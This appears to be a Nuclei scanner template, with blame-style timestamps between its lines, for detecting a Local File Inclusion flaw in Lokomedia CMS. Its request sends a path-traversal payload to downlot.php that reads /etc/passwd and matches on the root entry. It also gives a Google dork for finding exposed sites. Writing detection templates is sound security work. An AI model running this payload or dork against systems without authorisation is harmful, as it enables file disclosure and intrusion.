2023-10-17 07:20:28 +00:00
id : lokomedia-cms-lfi
info :
name : Lokomedia CMS - LFI Vulnerability
author : r3Y3r53
severity : high
description : A Local File Inclusion (LFI) vulnerability is a type of security vulnerability that occurs when a web application allows an attacker to include files on the server that should not be accessible.
reference :
- https://cxsecurity.com/issue/WLB-2018070116
- https://github.com/kangkuswae/CMS-Lokomedia
metadata :
verified : true
max-request : 1
2023-10-17 17:52:26 +00:00
google-query : inurl:/semua-download.html
2023-10-17 07:20:28 +00:00
tags : lfi,lokomedia,cms
http :
- method : GET
path :
- "{{BaseURL}}/downlot.php?file=../../../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
part : body
regex :
- "root:.*:0:0:"
- type : word
part : header
words :
- "application/proses"
- type : status
status :
- 200
2023-10-19 13:13:52 +00:00
# digest: 4a0a00473045022100b974940a0baa7b6b40e8b503dc0eeed5cd6427e0e82c38f2d04270a248059d3c0220584676e21ecd1d18fedacf986a6ee169fe818f124d45efd400ea0644c026e488:922c64590222798bb761d5b6d8e72950
